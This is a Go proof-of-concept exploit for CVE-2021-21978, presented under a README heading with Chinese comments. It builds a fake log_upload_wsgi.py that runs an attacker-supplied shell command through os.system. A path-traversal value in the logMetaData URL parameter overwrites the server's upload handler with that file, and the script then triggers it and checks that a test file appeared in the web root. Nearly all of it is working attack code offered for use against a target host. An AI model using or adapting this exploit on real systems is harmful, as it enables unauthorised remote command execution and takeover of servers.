README.md
Rendering markdown...
package main
import (
"bytes"
"crypto/tls"
"flag"
"fmt"
"io"
"io/ioutil"
"math/rand"
"mime/multipart"
"net/http"
"strconv"
//"net/url"
"os"
"strings"
)
func makefile(fileName string, cmd string) {
conntent := fmt.Sprintf(`#! /usr/bin/env python3
import cgi
import os,sys
import logging
import json
os.system('%s')
WORKLOAD_LOG_ZIP_ARCHIVE_FILE_NAME = "workload_log_{}.zip"
class LogFileJson:
""" Defines format to upload log file in harness
Arguments:
itrLogPath : log path provided by harness to store log data
logFileType : Type of log file defined in api.agentlogFileType
workloadID [OPTIONAL] : workload id, if log file is workload specific
"""
def __init__(self, itrLogPath, logFileType, workloadID = None):
self.itrLogPath = itrLogPath
self.logFileType = logFileType
self.workloadID = workloadID
def to_json(self):
return json.dumps(self.__dict__)
@classmethod
def from_json(cls, json_str):
json_dict = json.loads(json_str)
return cls(**json_dict)
class agentlogFileType():
""" Defines various log file types to be uploaded by agent
"""
WORKLOAD_ZIP_LOG = "workloadLogsZipFile"
try:
# TO DO: Puth path in some config
logging.basicConfig(filename="/etc/httpd/html/logs/uploader.log",filemode='a', level=logging.ERROR)
except:
# In case write permission is not available in log folder.
pass
logger = logging.getLogger('log_upload_wsgi.py')
def application(environ, start_response):
logger.debug("application called")
if environ['REQUEST_METHOD'] == 'POST':
post = cgi.FieldStorage(
fp=environ['wsgi.input'],
environ=environ,
keep_blank_values=True
)
# TO DO: Puth path in some config or read from config is already available
resultBasePath = "/etc/httpd/html/vpresults"
try:
filedata = post["logfile"]
metaData = post["logMetaData"]
if metaData.value:
logFileJson = LogFileJson.from_json(metaData.value)
if not os.path.exists(os.path.join(resultBasePath, logFileJson.itrLogPath)):
os.makedirs(os.path.join(resultBasePath, logFileJson.itrLogPath))
if filedata.file:
if (logFileJson.logFileType == agentlogFileType.WORKLOAD_ZIP_LOG):
filePath = os.path.join(resultBasePath, logFileJson.itrLogPath, WORKLOAD_LOG_ZIP_ARCHIVE_FILE_NAME.format(str(logFileJson.workloadID)))
else:
filePath = os.path.join(resultBasePath, logFileJson.itrLogPath, logFileJson.logFileType)
with open(filePath, 'wb') as output_file:
while True:
data = filedata.file.read(1024)
# End of file
if not data:
break
output_file.write(data)
body = u" File uploaded successfully."
start_response(
'200 OK',
[
('Content-type', 'text/html; charset=utf8'),
('Content-Length', str(len(body))),
]
)
return [body.encode('utf8')]
except Exception as e:
logger.error("Exception {}".format(str(e)))
body = u"Exception {}".format(str(e))
else:
logger.error("Invalid request")
body = u"Invalid request"
start_response(
'400 fail',
[
('Content-type', 'text/html; charset=utf8'),
('Content-Length', str(len(body))),
]
)
return [body.encode('utf8')]`, cmd)
f, err := os.Create(fileName)
defer f.Close()
if err != nil {
fmt.Println(err.Error())
} else {
_, _ = f.Write([]byte(conntent))
}
}
func Verify(targetUrl string) string {
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client := &http.Client{Transport: tr}
resp, err := client.Get(targetUrl)
if err != nil {
fmt.Println(err)
}
defer resp.Body.Close()
resp_body, err := ioutil.ReadAll(resp.Body)
return string(resp_body)
}
//文件上传
func postFile(filename string, targetUrl string) bool {
//urlProxy, _ := url.Parse("http://127.0.0.1:8080")
trans := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
// Proxy: http.ProxyURL(urlProxy),
}
client := &http.Client{Transport: trans}
bodyBuf := &bytes.Buffer{}
bodyWriter := multipart.NewWriter(bodyBuf)
//关键的一步操作
fileWriter, err := bodyWriter.CreateFormFile("logfile", "")
if err != nil {
}
//打开文件句柄操作
fh, err := os.Open(filename)
if err != nil {
fmt.Println("无法打开文件...END")
}
defer fh.Close()
//iocopy
_, err = io.Copy(fileWriter, fh)
if err != nil {
}
contentType := bodyWriter.FormDataContentType()
bodyWriter.Close()
response, _ := http.NewRequest("POST", targetUrl, bodyBuf)
response.Header.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36")
response.Header.Add("Cache-Control", "no-cache")
response.Header.Add("Pragma", "no-cache")
response.Header.Add("Content-Type", contentType)
resp, _ := client.Do(response)
if err != nil {
}
defer resp.Body.Close()
resp_body, err := ioutil.ReadAll(resp.Body)
if err != nil {
}
if strings.Contains(string(resp_body), "File uploaded successfully.") {
return true
} else {
return false
}
}
func main() {
roll := rand.Intn(999999)
rollcnt := fmt.Sprintf("echo test.%s > /etc/httpd/html/admin/test.txt", strconv.Itoa(roll))
host := flag.String("h", "", "host")
cmd := flag.String("c", rollcnt, "cmd")
flag.Parse()
if *host == "" {
fmt.Println("使用: go run CVE-2021-21978.go -h <target ip> -c <cmd>")
os.Exit(0)
}
targetUrl := fmt.Sprintf(`https://%s/logupload?logMetaData={"itrLogPath":"../../../../../../etc/httpd/html/wsgi_log_upload","logFileType":"log_upload_wsgi.py","workloadID":"2"}`, *host)
getUrl := fmt.Sprintf("https://%s/logupload", *host)
testUrl := fmt.Sprintf("https://%s/admin/test.txt", *host)
poc_file := "./log_upload_wsgi.py"
makefile(poc_file, *cmd)
fmt.Println("文件上传中...")
if postFile(poc_file, targetUrl) == true {
fmt.Println("文件上传成功...")
} else {
fmt.Println("文件上传失败...END")
os.Exit(0)
}
fmt.Println("命令触发...")
Verify(getUrl)
if *cmd == rollcnt {
if strings.Contains(Verify(testUrl), fmt.Sprintf("test.%s", strconv.Itoa(roll))) {
fmt.Println(fmt.Sprintf("上传成功,执行命令成功,已生成新页面 %s", testUrl))
}
}
}